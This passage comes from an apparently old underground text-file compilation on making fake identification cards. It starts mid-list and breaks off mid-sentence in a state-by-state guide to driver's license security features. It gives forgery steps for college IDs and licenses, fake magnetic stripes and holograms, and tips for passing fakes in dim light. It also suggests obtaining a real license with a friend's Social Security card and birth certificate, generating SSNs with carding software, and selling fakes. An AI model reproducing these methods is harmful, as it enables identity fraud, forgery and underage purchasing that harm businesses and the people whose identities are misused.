2. Computer art program (i.e. adobe photoshop, I used Polaroid Photomax Pro and it works fine)
|
||
3. Butterfly pouches (10 mil)
|
||
4. 8-up teslin (or pvc card)
|
||
5. Printable transparencies
|
||
6. Inkjet printer (at least!!!!!!)
|
||
|
||
7. A scanned card or template
|
||
8. The colleges logo
|
||
9. Colleges fight song
|
||
10. 3m glue spray (optional)
|
||
11. Passport photo
|
||
Ok, first, search the internet and get the logo once you do that, resize and place it in one corner
|
||
(depending on the template). change the colors of the lines one the id into the college's colors. put your
|
||
photo on and outline it with one of the college colors. Next, fill in all of your info (birth date, student #,
|
||
etc., whatever you think you need).
|
||
For the back, write the fight song on it and out it in the team colors. Some colleges use this, some dont, no
|
||
clerk is gonna know this unless they went there. To finish up the template, put any finishing touches on it,
|
||
its your choice.
|
||
Now that your template is finished, you hav a choice: print it out on the teslin or print on the
|
||
transparency. I'm not sure which works better, so sorry, your on your own for that.
|
||
Once you print it, just laminate with the butterfly pouch. If your laminator only says 5 mil pouches, most
|
||
will still laminate 10 mil, just run it through 3 times. The GBC docuseal will not, it bubbles. If you want
|
||
to make it look even more real put a holo on it or someting. I don't know of any colleges that have a holo,
|
||
but it just makes it look more real.
|
||
Good Luck!!!
|
||
==============================================
|
||
Who Are You? How To Be Someone You're Not
|
||
article by Bela_Lagousi
|
||
Fake IDs
|
||
Why do I need a fake ID?
|
||
You may be asking yourself "Self, Why do I need a Fake ID?" Well There are several reasons, the most
|
||
common being age. But there ARE other reasons. If you want an account at an Entertainment store you
|
||
need some form of photo ID, Want to check out the Pool balls at the Hotel, We need to see some ID. You
|
||
Get the picture. BUT if you can make a Fake ID you can keep the stuff. You can be 17, 18, or even 21.
|
||
Can't I just buy one?
|
||
Yes, you can! BUT there are ways that are Cheaper, Less Risky, More Realistic, and If YOU make them,
|
||
then you can sell them and make money!
|
||
Who Makes The Best?
|
||
Your local Tag Agency, you know the place where they make the REAL ones. Thats right you to can
|
||
have an ID that will fool everyone, EVEN THE COPS! How do you conveince them to make you a fake
|
||
ID?? YOU DON'T!! Simply go to friend of Legal age (If your 14 youll NEVER pull off 21!) and borrow
|
||
there Social Security Card and Birth Certificate This works in like 40 states IT WILL NOT WORK IN
|
||
CALIFORNIA! In California they require a fingerprint!
|
||
Want To Make Your Own?
|
||
Of course you do thats why your reading this Article!! This is a little more tricky. Here it goes...
|
||
THINGS YOULL NEED:
|
||
TEMPLATES
|
||
COREL PHOTO PAINT / DRAW
|
||
|
||
PHOTOSHOP
|
||
TELETYPE FONT
|
||
TIMES NEW ROMAN FONT
|
||
A COLOR PRINTER (PREFERABLY LASER)
|
||
A SMALL PHOTOGRAPH OF YOUR SELF
|
||
AN IMAGINATION
|
||
1. Find a Template, always the hardest part.
|
||
2. Open your template using Corel Photo Paint or Adobe PhotoShop
|
||
3. Most of these Template don't already have any Text if they don't SKIP THIS STEP!
|
||
A) Select Draw start line and appropriate size (usually about 24) Erase the pre-recorded info
|
||
B) Proceed to step 4
|
||
4. FONT! Use Teletype or some other font that resembles a type writer or Dot Matrix printer. THIS IS
|
||
VERY IMPORTANT!
|
||
5. FILLING IN THE BLANKS: Now for the Text THIS IS THE MOST IMPORTANT STEP! Use you
|
||
REAL height and Weight. MAKE SURE YOU LINE THESE UP EXACTLY!!!
|
||
6. NAME, ADDRESS, AND SSN. To generate SSN numbers I recommend a Carding Prom such as
|
||
Credit Wizard or FakeID.exe. FakeID is a better program but it IS NOT IN ENGLISH. Make up a
|
||
Birthday. DO NOT USE YOUR OWN INFO!!
|
||
7. PRINTING. Use as good a printer as possible this will take some time paper and ink to get the sizing
|
||
right size it to match your REAL ID.
|
||
8. The BACK. I don't have any back templates scan the back of yours or copy the text be sure to but
|
||
change the state names!
|
||
9. LAMINATING You will need a pouch laminator, but you don't have one and you don't have $2,000 to
|
||
cough up. GET A FRIEND AT BLOCK BUSTER! Or Use a Razor to Open your Block Buster Card and
|
||
insert Fake ID.
|
||
10. USE. THERE ARE SEVERAL TRICKS TO USING IT.
|
||
A) It werks best at night in not well lit places.
|
||
B) COPS ARE TRAINED! You can't fool a cop
|
||
C) MOST WALLETS HAVE AN ID SLOT WITH A THICK VYNIL WINDOW! Use it! It will distort a
|
||
real ID even a little more difficult to see Imperfections
|
||
===============================================
|
||
International ID Cards
|
||
article by {hxxp://www.counciltravel.com/idcards/default.asp}
|
||
{How to Apply for your International Identity Card: hxxp://www.counciltravel.com/idcards/apply.asp}
|
||
IYTC FAQ
|
||
What is the International Youth Travel Card? -
|
||
The International Youth Travel Card (IYTC) is an internationally recognized identification card for
|
||
anyone under 26 years of age who is not a student. The card is administered internationally by the
|
||
|
||
International Student Travel Confederation (ISTC) and is administered in the U.S. by Council Travel. The
|
||
IYTC in the past has been known as the GO25 Card but its name has been changed to better fit the card.
|
||
I am under 26 years old, but why do I need the IYTC? -
|
||
IYTC is officially endorsed by international organization, national governments and student
|
||
organizations. With the IYTC, you'll have access to special discounts on airfare, accommodations,
|
||
transportation and much more!
|
||
Where can I get a list of these special discounts? -
|
||
Details of the benefits and discounts for the card are outline in the free Z-Card that is distributed with
|
||
each card or visit the International Student Travel Confederation's (ISTC) Web site for specific discounts.
|
||
How long will my Identity Card be valid? -
|
||
The IYTC is valid for one year from the date of purchase.
|
||
How can I purchase the International Youth Travel Card (IYTC)? -
|
||
To purchase the card in the U.S., see the How to Apply page. To purchase an ISIC outside the U.S. visit
|
||
the International Student Travel Confederation (ISTC) web site to find the Issuing Office nearest you.
|
||
What if I'm not under 26 years old? -
|
||
If you are a student, you are eligible for the International Student Identity Card
|
||
If you are a teacher, you are eligible for the International Teacher Identity Card
|
||
{Order Now}hxxp://www.counciltravel.com/idcards/OrderCard.asp?Agree=1&name=go%2B25
|
||
ISIC FAQ
|
||
What is the International Student Identity Card? -
|
||
Endorsed by the United Nations Educational, Scientific and Cultural Organization, the International
|
||
Student Identity Card, often called the ISIC (that's "eye'zic"), was initiated to give traveling students a
|
||
document that would be readily accepted worldwide as proof of their student status.
|
||
I already have a student ID, why do I need the ISIC? -
|
||
Your regular college or university ID won't be readily recognized internationally –and sometimes not
|
||
even understood. ISIC is the world's most widely accepted student identity card. It is issued in over 90
|
||
countries to over 4 million students yearly . With the ISIC, you'll have access to special discounts on
|
||
airfare, accommodations, transportation, basic traveler's insurance and much, much more!
|
||
Where can I get a list of these special discounts? -
|
||
Details of the benefits and discounts for the card are outline in the free, 128-page International Student
|
||
Identity Card Handbook that is distributed with each card. Worldwide discounts are also listed on the
|
||
International Student Travel Confederation (ISTC) web site.
|
||
How long will my 2001 International Student Identity Card be valid? -
|
||
Your ISIC is valid from September 1, 2000 through December 31, 2001.
|
||
How do I purchase the International Student Identity Card? -
|
||
To purchase the card in the U.S., see the How to Apply page. To purchase an ISIC outside the U.S., visit
|
||
the International Student Travel Confederation (ISTC) web site to find the Issuing Office nearest you.
|
||
What if I'm not a student? -
|
||
If you are under 26 and not a student, you are eligible for the International Youth Travel Card (IYTC)
|
||
|
||
If you are a teacher, you are eligible for the International Teacher Identity Card (ITIC)
|
||
{Order Now}hxxp://www.counciltravel.com/idcards/OrderCard.asp?Agree=1&name=isic
|
||
ITIC FAQ
|
||
What is the International Teacher Identity Card? -
|
||
The International Teacher Identity Card, often called the ITIC (that's "eye'tic") was initiated in 1984 to
|
||
give traveling teachers/faculty a document that would be accepted around the world as proof of teacher
|
||
status. ITIC is administered internationally by the International Student Travel Confederation (ISTC) and
|
||
is administered in the United States by Council Travel. Issued in over 40 countries and endorsed by the
|
||
United Nations Educational, Scientific and Cultural Organization (UNESCO), the ITIC is a basic travel
|
||
document for faculty member at all levels.
|
||
I already have a faculty ID, why do I need the ITIC? -
|
||
ITIC is officially endorsed by international organization, national governments and student organizations.
|
||
With the ITIC, you'll have access to special discounts on airfare, accommodations, transportation and
|
||
much more!
|
||
Where can I get a list of these special discounts? -
|
||
Details of the benefits and discounts for the card are outline in the free International Teacher Identity
|
||
Card Handbook that is distributed with each card. Worldwide discounts are also listed on the International
|
||
Student Travel Confederation (ISTC) web site.
|
||
How long will my 2000 International Teacher Identity Card be valid? -
|
||
The ITIC is valid from September 1, 1999 through December 31, 2000.
|
||
How do I purchase the International Teacher Identity Card (ITIC)? -
|
||
To purchase the card in the U.S., see the How to Apply page. To purchase an ITIC outside the U.S. visit
|
||
the International Student Travel Confederation's (ISTC) Web site to find the Issuing Office nearest you.
|
||
What if I'm not a teacher? -
|
||
If you are under 26 and not a student, you are eligible for the International Youth Travel Card (IYTC)
|
||
If you are a student, you are eligible for the International Student Identity Card
|
||
{Order Now}hxxp://www.counciltravel.com/idcards/OrderCard.asp?Agree=1&name=itic
|
||
==============================================
|
||
Magnetic Stripes
|
||
BR>These only look like the magnetic stipes, they are not working magnetic stripes!
|
||
Ok, what you need to make magnetic stipes is just black elecrtical tape, scissors, and an iron. Now cut the
|
||
tape so it is the width that you want usually about 1/4 of an inch. And cut it the entire length of the card,
|
||
and tape it on. Now this is how the final product will look, but if someone were to examine it they would
|
||
find that the tape is elevated off of the card Now what you need to do is place a soft cloth over the card
|
||
and iron the tape. Waht you want to do is melt the edges of the tape onto the card so that when you run
|
||
your fingers over it you cannot feel the difference.
|
||
Keep at it, this sounds A LOT easier than it really is. and also do in on TOP of the lamination, duh.
|
||
===============================================
|
||
|
||
ID card Holograms
|
||
article by TopHat
|
||
A hologram can greatly affect the look of an id, since holograms are incredibly hard to reproduce, one
|
||
will almost surely validate the credibility of your card. To make holograms you will need:
|
||
Titanium Dioxide Powder (look in chemistry catalogs,labs, some art stores)
|
||
Acrylic Base (most art supply stores) Razor Blade ( Revco, your friend for life)
|
||
Now mix the powder and base, it be like a paint
|
||
with sparkles in it. Now spread it out over the spot
|
||
where you want your hologram to be, and use the razor blade
|
||
to scrape off the design. Scrap off the paint where you want
|
||
just the card to shine through. If you mess up, scrap it all off
|
||
and start again. Study the hologram you want to duplicate
|
||
throughly so you are able to copy it well. What this basically
|
||
is is just paint that has sparkles in it, and when held at an angle
|
||
will shine, just like a hologram. Do this UNDER/BEFORE you laminate.
|
||
If you plan on mass producing these, I suggest that you make
|
||
a stencil out of cardboard or plastic, it will greatly affect
|
||
the time and the look.
|
||
Holograms peel offs can also be purchased from paper companies, or
|
||
police supply catalogs. These are better looking, easier, cheaper,
|
||
but come only in limited styles (not likely to find state seals and the like).
|
||
other ways are:
|
||
Here's what you do: Take the seal off of the template that you are using. Copy and paste it as a new image
|
||
in the same location that you took it from on the template. (hint: most graphics programs show the
|
||
coordinates of your pointer in the bottom-left corner of the screen) Copy the shape and contents of the
|
||
hologram and paste it exactly where it should be on the new image you have created just like you did with
|
||
the state seal. Once this is complete, print this out on a transparency sheet. (I usually print out a whole
|
||
page them at a time so I don't have to waste transparency sheets) The easiest way the cut-out the
|
||
transparency is to lay it right on top of your printed license (paying attention to the location of the seal
|
||
and the hologram image) and cut around the edges of the license with an Exact-o knife. Once you have
|
||
the transparency sheet cut-out, here's how you turn the hologram into a believable one: Go to your local
|
||
office supply company. (Officemax is great) Look for presentation foil sheets ( they are usually right next
|
||
to the laminating supplies ). The come in a variety of colors, find one that matches the color of your
|
||
state's hologram. Gold colored works for most holograms. Cut a piece of foil big enough to cover your
|
||
hologram and then place it in a carrier and run it through your laminator. When it comes out, peel off the
|
||
foil paper and you'll be amazed at the finished hologram. Put this back on whatever you are going to
|
||
laminate and then put the whole thing in a pouch a laminate it. You will never notice the transparency
|
||
sheet being there. Don't be cheap and use an iron to laminate, spend $50 and buy one (use a minimum of
|
||
5 mil laminating pouches) One more thing, Scotch makes a restickable adhesive glue stick so you can
|
||
paste a remove your photo, or whatever, as many times as you want to ensure that you get the photo on
|
||
straight. (to paste the photo on --if using Polaroid's) IMPORTANT: Make sure to let the Polaroid's sit for
|
||
at least 30 minutes before you peel the back layer off of them. If you don't give it time, pieces of the
|
||
Polaroid ink will stay on the backing paper leaving you minus facial features. But, make sure you take the
|
||
backing off of the Polaroid or else it won't look genuine, the picture will stick out.
|
||
or...
|
||
|
||
First your going to need the real thing if you can get a holo. Go to walmart or any Photoshop, and invest
|
||
in some of the 3D Film. Now you can buy the cheap kind that comes in the disposable camera or you can
|
||
buy the real stuff at most photoshops. As always, the more money you spend usually the better its gonna
|
||
look. Now while your there look for the transparency paper. any transparency plastic sheets will work, but
|
||
if you buy the ones from the photoshop your chances of a better look HOLO go up.
|
||
Once you got your supplies, expose a whole role of film on your holo. 3D doesnt always come out the
|
||
greatest so you'll probably get 4 or 5 good ones out of a role of film. Now when you go to get these
|
||
developed you want to get them printed, and you want to keep the negatives. This way you can find the
|
||
best ones and know which negative they corespond to. When you choose your best negatives, Here comes
|
||
the hard part.
|
||
You need to have some sort of access to a dark room, and hopefully you know how to develop pictures.
|
||
Any old Darkroom will work. As long as you have taken photography or know the basic gist of it, you
|
||
will be fine. Now what what you want to do is make your own prints on the transparency sheets. This is
|
||
tricky, becuase if you move it at all when it is being developed the HOLO's will blur. So basically get a
|
||
bunch of time and a bunch of negatives and a bunch of transparency sheets. Try to have someone who
|
||
knows hwo to develop film with you. This helps. Also when you ary drying the photo try to keep all light
|
||
away from it. when you normally print you can turn the lights on a and let them dry. With holo's let them
|
||
dry completely in the dark. Dont use a hairdryer or anything to speed the process up, that will fuck things
|
||
up. be prepared to spend some time before you get the hang of it.
|
||
==============================================
|
||
Primer on Electronic Card Technologies
|
||
article by CyberChix
|
||
Yesterday, I used a magnetic stripe credit card to pay for a purchase at a local clothing store; at the same
|
||
time, I presented my storage-only contact card to add my frequent buyer points. Next, I used my memory
|
||
chip with register contact card to make a prepaid phone call.
|
||
Later in the day, I stopped at the bank and used my microprocessor contact card to withdraw some money
|
||
from my checking account. (Thankfully, I remembered my PIN number.) Then, I stopped by the daycare
|
||
to pick-up my son; I used my contactless card to enter the building.
|
||
Next, we entered the transit station and caught the bus to head home. I am so glad I finally got those
|
||
combi cards to pay our toll. It sure makes getting around quick, simple and hassle-free.
|
||
I needn’t bore you with anymore details of my life. But, I’m sure you get the picture.
|
||
How many times today did you use an electronic card? What type of technology did it employ? What
|
||
purpose did the card serve?
|
||
ELECTRONIC CARD TECHNOLOGIES IN TODAY’S MARKETPLACE
|
||
Let’s take a quick look at the electronic card technologies being used in today’s
|
||
marketplace and what applications commonly use these technologies. With a basic
|
||
understanding of how these different types of cards work, you will begin to see the
|
||
endless possibilities for their application.
|
||
• MagneticStripeCards
|
||
• Memory and Microprocessor Smart Chips
|
||
• ContactCards
|
||
• ContactlessCards
|
||
• Hybrid/Twin Cards
|
||
• CombiCards
|
||
• Proximity Cards
|
||
• OpticalCards
|
||
|
||
Magnetic Stripe Cards
|
||
Magnetic stripe cards are everywhere. This well-established technology is common in industries with
|
||
low- to medium-data storage needs.
|
||
The most common applications for magnetic stripe cards are financial cards, transit tickets, and ID cards.
|
||
• Bank credit and debit cards.
|
||
• Prepaid telephone and vending cards.
|
||
• Subway, railroad, bus, toll road, and airline cards.
|
||
• Driver licenses, employee ID badges, membership cards, and door keys.
|
||
Magnetic stripe cards have a black or brown magnetic stripe made up of magnetic particles of resin.
|
||
These types of cards can be either low-coercivity (LoCo) or high-coercivity cards (HiCo).
|
||
Coercivity is the ability of a property to resist demagnetization. It is measured in oersteds (Oe). The
|
||
material used for the particles determines the coercivity of the stripe: low- coercivity stripes at 300 Oe are
|
||
made of iron oxide and high-coercivity stripes at 2750 to 4000 Oe are usually made from barium ferrite.
|
||
The higher the coercivity, the harder it is to encode information — and to erase information.
|
||
Memory and Microprocessor Smart Chips
|
||
Before we take a look at the many types of smart cards, it’s important to understand the various chips
|
||
found in these cards. The chips used in contact, contactless, hybrid/ twin, and combi cards fall into two
|
||
categories: memory and microprocessor.
|
||
Memory Chips
|
||
A memory chip is similar to a small floppy disk. This type of chip primarily stores information, access
|
||
control, or a value that can be “spent.” It holds anywhere from 103 bits to 16,000 bits of data.
|
||
Memory chips are less expensive than microprocessors, but they also offer less security because they
|
||
depend on the security of the card reader. Because of this, memory chips are ideal for use in applications
|
||
requiring low- to medium-security. Memory chips can be divided into two categories: Storage-Only and
|
||
Memory Chip with Register.TheStorage-Only Memory Chip has rewriteable memory. It is often used in
|
||
loyalty applications to store a buyer profile. The buyer earns points as they spend money and these points
|
||
are later redeemed for various rewards. The Memory Chip with Register begins with a value that
|
||
decreases with use. It is not
|
||
rewriteable; once the value is exhausted, the card is discarded. The most common applications for this
|
||
chip are prepaid telephone and vending cards.
|
||
Microprocessor Chips
|
||
A microprocessor chip can add, delete, change, and update information. It is
|
||
basically a computer with an input/output port, operating system and hard disk.
|
||
Microprocessor chips come in 8-, 16-, and 32-bit formats with data storage
|
||
capacities ranging from 300 to 32,000 bytes.
|
||
Microprocessor chips offer a high degree of security to the user. They have the
|
||
ability to verify the cardholder with a PIN (or other secret code). Banking,
|
||
identification, healthcare, and other industries that require high security are
|
||
currently utilizing microprocessor cards.
|
||
Contact Cards
|
||
|
||
A contact card has a gold chip embedded in the card; the dimensions and location of the chip are standard
|
||
and are defined in ISO 7816-2. This kind of card requires insertion into a smart card reader and a direct
|
||
connection with the physical contact points on the card to transmit data. Contact cards are used frequently
|
||
in banking, communications, healthcare, loyalty, and storing automotive service histories.
|
||
Contactless Cards
|
||
Contactless cards have an antenna coil and a chip embedded in the card. This type of card must pass
|
||
within varying degrees of proximity to a smart card reader. The embedded antenna communicates with a
|
||
receiving antenna at the transaction point. Access control, student identification, electronic passport,
|
||
vending, parking, and toll are common applications for contactless cards.
|
||
• Immediate proximity smart cards must pass less than 1 millimeter from the reader and be precisely
|
||
aligned.
|
||
• Close proximity smart cards must be between 1 and 2 millimeters from the reader in a specific
|
||
orientation.
|
||
• Remote coupling smart cards can function in a range from a few centimeters up to 3 to 5 meters from
|
||
the reader in any orientation.
|
||
Hybrid/Twin Cards
|
||
A hybrid/twin card has two chips embedded in it: a contactless chip and a contact chip. The chips may be
|
||
memory or microprocessor chips. The contactless chip is for applications demanding fast transaction
|
||
times — like mass transit. The contact chip is used in applications requiring higher security. The two
|
||
chips are not connected to each other. Instead, one chip serves the consumer needs and the other the card
|
||
issuer needs. This type of card also offers a temporary solution for contact card systems switching to
|
||
contactless.
|
||
Combi Cards
|
||
The combi card — also known as a dual-interface card — offers a contact and contactless single chip.
|
||
This is a popular form of smart card because it extends ease-of- use to both the card issuer and the
|
||
consumer. Mass transit is expected to be one of the more popular applications for the combi card. In the
|
||
mass transit application, the contact interface may be used to place a cash toll value on the combicard
|
||
whilethecontactlessinterface isused to remove atollvalue.
|
||
Proximity Cards
|
||
Proximity cards utilize contactless technology. They are growing in popularity because of the
|
||
convenience they offer markets like identification, mass transportation, security, and access control.
|
||
Contactless cards, hybrid/twin, and combi cards are examples of different types of proximity cards.
|
||
Here's how they work:
|
||
• An antenna is embedded in the card.
|
||
• The card passes within range of a reader, which activates the reader. Immediate proximity cards must
|
||
pass less than 1 millimeter from the reader and be precisely aligned. Close proximity cards can be read up
|
||
to 10 centimeters from the reader in a specific orientation.
|
||
Vicinity cards can function in arangefrom30to70centimetersfromthereader in any orientation.
|
||
• The embedded antenna communicates with a receiving antenna in the reader. The reader then sends the
|
||
data to the host computer for processing. Proximity card technology is employed in a variety of markets
|
||
including identification, analysis, transportation, distribution, industrial, security, and access control.
|
||
Optical Cards
|
||
Optical cards employ a CD-ROM type of technology to store information. A section ofthe lasersensitive
|
||
mediaislaminatedinto acardand isused to storedata.The mediaisawrite once read many(WORM)media.
|
||
|
||
An optical card stores between 4 and 6.6 MB of data. This makes it an ideal carrier for graphics such as
|
||
photographs, logos, fingerprints, x-rays, etc. Data is encoded in a linear x-y format. ISO/IEC 11693 and
|
||
11694 standards cover the details. Optical cards currently are utilized to store prenatal-care records,
|
||
medical images, and personal medical records.
|
||
They are also commonly used in the following applications:
|
||
• High-security drivers’ licenses and access/entry cards.
|
||
• Auto repair/warranty records.
|
||
• Secure bank debit cards.
|
||
• Immigrant ID cards.
|
||
• Automated cargo manifests for the Department of Defense logistics.
|
||
=============================================
|
||
Guide to US & Canadian
|
||
Drivers License Security Techniques!
|
||
article by {Egg}
|
||
The following is a state by state (and Canadian province) list of tricks that are used on drivers licenses to
|
||
prevent forgery.
|
||
One other thing. One the most common and easy to use security checks in use today is the Soundex
|
||
system. You will notice that many states incorporate this into their licenses. I feel that everyone interested
|
||
in the topic covered by this file should be made aware of this systems simplicity and also it's danger (to
|
||
the unknowing), so I have included, at the end of this file, an explanation of the Soundex system.
|
||
- UNITED STATES LICENSES
|
||
- CANADIAN LICENSES
|
||
- SOUNDEX SYSTEM
|
||
------------------------------------
|
||
UNITED STATES LICENSES
|
||
Alabama:
|
||
This license is a photo ID card laminated in plastic. The driver's photograph is on the lower left corner,
|
||
and overlapped by the state seal. The drivers license number and birth date are embossed at the top, and
|
||
license of minors under 21 are further identified by a star embossed after the birth date.
|
||
Alaska:
|
||
This license is encased in plastic. If needed, "CDL" and the appropriate class appear in the class box. The
|
||
manufacturer is Polaroid.
|
||
In the Minor's license, a red vertical "ALASKA" is on the left side, "UNDER 21" on the right side of the
|
||
laminate and "UNDER 21" or "*U21*" is below the photo. Prior licenses have birth date only.
|
||
The state seal and camera number overlap the photo. There is a raised hologram on the current license.
|
||
The license number is up to 7 digits, without spacing, and it is not coded.
|
||
The license expires on the person's birthday five years after it has been issued. The certificate of the
|
||
|
||
extension, found on the back of the license, can extend the expiration for one 5-year term for drivers
|
||
under the age of 69. The operator must be atleast 16 years old.
|
||
This license is also a photo laminated type, but the lettering on it may be typewritten or "computer type,"
|
||
which offers the forger a choice. The signature of the Commissioner overlaps the photo. An additional
|
||
safeguard is that the state seal overlaps the driver's signature.
|
||
Arizona:
|
||
This is a polyester photo ID card, but it is not laminated. The state seal is on the front of the license
|
||
surrounded by a printed orange pattern which overlaps the type. The Assistant Director's signature is on
|
||
the bottom. The driver's name, address, and other data may be typed or written in by hand.
|
||
Arkansas:
|
||
The current license is in credit card style with a ghost image and a yellow header. It has a 2d bar code and
|
||
magnetic stripe on the back. Prior licenses are digitized with magnetic stripe on back. For CDL, blue map
|
||
enclosing "CDL" and "Commerical drivers License" at right. "Commercia Drivers License" in green ink
|
||
for prior CDL
|
||
Current license has a red header, a red border around the photo, birth day in a red box, "UNDER 18" and
|
||
"UNDER 21" statements. Prior license uses same statements
|
||
This is a laminated photo ID, using the state seal overlapping the photo as a safeguard.
|
||
California:
|
||
The two newest formats have a pattern of the state seal and the DMV logo, which is in an optically
|
||
variable gold ink in the newest format. The license may have a bar code and a magnetic stripe on the
|
||
back, or just a magnetic stripe. The prior license has a retroreflective laminate on the front. The CDL has
|
||
"COMMERCIAL DRIVER LICENSE" in brown.
|
||
The Minor's license has the photo on the right. One license has "Provisional" and "Age 21" highlighted in
|
||
blue or red color, respectively. Another license has "PROVISIONAL UNTIL AGE 18 IN (date)" in white
|
||
letters on a blue bar, or it may have "PROVISIONAL UNTIL AGE 18" in red letters, for those under 18
|
||
years of age. The under 21 licenses have "AGE 21 IN (date)" in white letters over a red bar or in red
|
||
lettering, or "UNDER 21 UNTIL (year)" in red or black.
|
||
One license has the state seal and DMV logo in an optically variable gold ink, microprinting and a
|
||
secondary photo. Another license has a translucent hologram of the state seal and the DMV logo. Prior
|
||
licenses have hidden reproductions of the state seal and "California" on the surface.
|
||
The license number has one letter, and 4-7 digits, which are unspaced and uncoded.
|
||
The license is valid for 4 years for an original license, or 4 or 5 years for a renewal license, which expire
|
||
on the birth date. An accompanying certificate can extend the license for two 4 or 5 year terms. The
|
||
operator's minumum age is 16.
|
||
This license is photograpghic, with a high-tech lamination the front. Type may be typewritten or
|
||
computer type. The state seal and the name "California" are hidden in the laminate.
|
||
Colorado:
|
||
One license is made of durable plastic with a scenic backdrop of mountains, a digital photo at the left, and
|
||
a ghost image on the right. Another license is photographic and encased in plastic. "COMMERCIAL
|
||
DRIVER LICENSE" for the CDL is below the state heading for the first license, and in a yellow band
|
||
|
||
below the heading for the second. The first has a magnetic stripe and 2D bar code on the back, and the
|
||
second just has the magnetic stripe.
|
||
The Minor's license is in the vertical format, and has "UNDER 21" in red above the photo, along with a
|
||
ghost image on the right. A probationary license has a gradient gray background. The other license has a
|
||
profile photo prior to 8/94, but now features a full-face photo. "UNDER 21" in a yellow bar, or "UNDER
|
||
18" in a red bar is on the right. The prior license has license numbers prefixed with an M for those under
|
||
18, and P for those between 18-20, along with "UNDER 18" or "UNDER 21" in a box to the right of the
|
||
license number.
|
||
The first license has the state seal in a continuous row across the center, and the other license has a row of
|
||
state seals across the bottom. Prior licenses have the state seal at the top of bottom edge of the photo and
|
||
data area.The license number has 9 numbers, and prior licenses usually have 1, but up to 5 letters and up
|
||
to 6 digits.
|
||
The adult licenses are valid for 5 years, and for 4 years if commercial licenses, which all expire on the
|
||
birth date. Under 18 and Under 21 licenses expire 20 days after the 18th and 21st birthdays, respectively.
|
||
One-year extensions are available for out-of-state renewals, and 2 extensions are available for out-of- the-
|
||
country applicants. The operator's minimum age must be 16.
|
||
This is a photo-Id with a polycarbonate (Lexan) coating. This makes it very durable, as well as unusually
|
||
flexible. The material gives it a different "feel" from most photographic materials. The state seal is in the
|
||
center, and the Director's signature is in black.
|
||
The Colorado Id has about 5 holograms on it, all on the bottom of the ID. They are not true holograms,
|
||
instead if you tilt the Id you will see these five holograms that simply look like gold. There is not a full
|
||
color spectrum in the hologram. The hologram is of the state seal, and each one is a little more then a half
|
||
inch in high.
|
||
A trick used on the Colorado Id is that of the information field "Hair." On most Ids it is actually spelled
|
||
'Hair', but instead on the Colorado it looks to be spelled with an 'e' instead. So sometimes bouncers will
|
||
look at this and if it looks like it is spelled 'Hair' then they will pull out the Id book.
|
||
Connecticut:
|
||
This license is laminated, has a digitized shadow image of the driver, and the commisioner's signature
|
||
overlapping the photo, which may be omitted on some. The CDL has "COMMERCIAL/DRIVER'S
|
||
LICENSE" in green on the upper-right corner.
|
||
The Minor's license has "UNDER 21 UNTIL XX-XX-XX" in red over the picture instead of the two flags
|
||
commonly seen on regular licenses.
|
||
The current license has a row of state seals at the bottom of the license, and an outline of the state with the
|
||
state name diagonally through it, which is visible under black light. Another version has a rectangular
|
||
security feature which overlaps the photo, ghost image and the data area. Both versions have authorizing
|
||
signatures overlapping the photo, even though some issues of the other version failed to include this.
|
||
There is also a ghost image. Finally. the state seal and camera code are visible over the lower right corner.
|
||
The license number is 9 digits without spacing. The first two digits are 01-12 according the month of the
|
||
driver's birth if the birth year is odd, or 13-24 if the birth year is even.
|
||
The license is valid for 3-5 years, and expires on the person's birthday. The operator's minimum age is 16.
|
||
This is a Polaroid photo card, laminated in plastic with the gold printing "CONNETICUT" on the plastic.
|
||
A gold "Y" is in the typed area for minor's licenses. There are several other tricks and kinks to this
|
||
license:
|
||
The Commissioner's signature is on the edge of the photo. The first two digits of the nine-digit license
|
||
|
||
number are coded. For drivers born in odd years, the first two numbers denote the month of birth by the
|
||
numbers 01-12. Those born in even years have the numbers 13-24 to denote birth month.
|
||
Delaware:
|
||
This is also a photo-ID with lamination. The safeguards are the
|
||
Director's signature on the edge of the photo, the date and fee at the bottom, and a red background for the
|
||
photos of those under age 21.
|
||
District of Colombia:
|
||
The proposed license is a credit card style with a blue header bar, which is not embossed. The driver's
|
||
photo is on the left with a shadow image on the right side for all licenses. The current license is
|
||
photographic and encased in plastic. "CDL" appears in the type box on both licenses is applicable.
|
||
The Minor's proposed license will be in the vertical format for those under 21. The graduated license will
|
||
be issued to those under 21. The current license has a profile photo used for those under 21. Restriction 3
|
||
is applied to those under drivers under 18.
|
||
The proposed license has a security overlay with "WASHINGTON DC A CAPITAL CITY". The current
|
||
license has an authorizing signature above the photo, a District seal in the data area, and a DC outline and
|
||
ussuing office number which overlaps the photo. The District of Columbia emblem (3 stars above 2 bars)
|
||
is in red at the bottom right. "WASHINGTON DC A CAPITAL CITY" is in a gold, repetitive pattern.
|
||
The license number is the social security number or an assigned number consisting of 7 computer-
|
||
generated digits.
|
||
The license is valid for 4 years from the date issued, and may be valid for 5 years, expiring on the birth
|
||
date. The operator's minumum age is 16.
|
||
DC issues photo-laminated ID with the Administrator's signature or the outline of the district map on the
|
||
edge of the photo. The license number may be the Social Security number or one assigned by the issuing
|
||
agency. The trick in this license is the code number "3" in the space for "Restrictions" to identify minors
|
||
under 18.
|
||
Florida:
|
||
This license is made of PVC and has a holographic overlay and a magnetic stripe on the back. Prior issues
|
||
are encased in plastic with variations in the statement above the signature. The CDL has "*CDL*" below
|
||
the license number in the previous issue, and the current issue has "CDL" followed by the class on a blue
|
||
bar on the left.
|
||
The Minor's license has "UNDER 21 UNTIL (date)" in a red bar below the photo. Prior issues have a
|
||
yellow photo backdrop and after July 1989, a red vertical "UNDER 21" overlaps the photo's right edge. A
|
||
vertical license is currently under consideration for 2000.
|
||
The current license has a holographic overlay of "Florida" and the state outline. Previous issues have the
|
||
state seal and the camera number overlapping the photo, along with a vertical "FLORIDA" visible in
|
||
ultra-violet light. Another issue has a state seal and a radiating security pattern in the data area.
|
||
The license number has 13 characters using the Soundex system. The first is the first letter of the driver's
|
||
last name. The next 3 digits are the last name in Soundex code, and the next 3 are department coding. The
|
||
next two are the year of birth, the next three are the coding of the birth date and sex, and the last digit is a
|
||
check digit, which may not appear. Previous issues have 12 characters, set up as 4-3-2-3 also beginning
|
||
with the first letter of the last name.
|
||
|
||
The license is valid for 4-6 years, expiring on the birthday with an 18-month early renewal option. A
|
||
sticker can extend the license another 4 years if the license was issued between November 1985 and
|
||
November 1989. The 4 and 6-year extension program was reinstated in 1992. The non-digital licenses can
|
||
have two extensions. The operator's minimum age is 16.
|
||
This state issues photo-laminated ID with the state seal and camera number overlapping the photo. The
|
||
license number follows the Soundex system and begins with the first letter of the last name and looks like
|
||
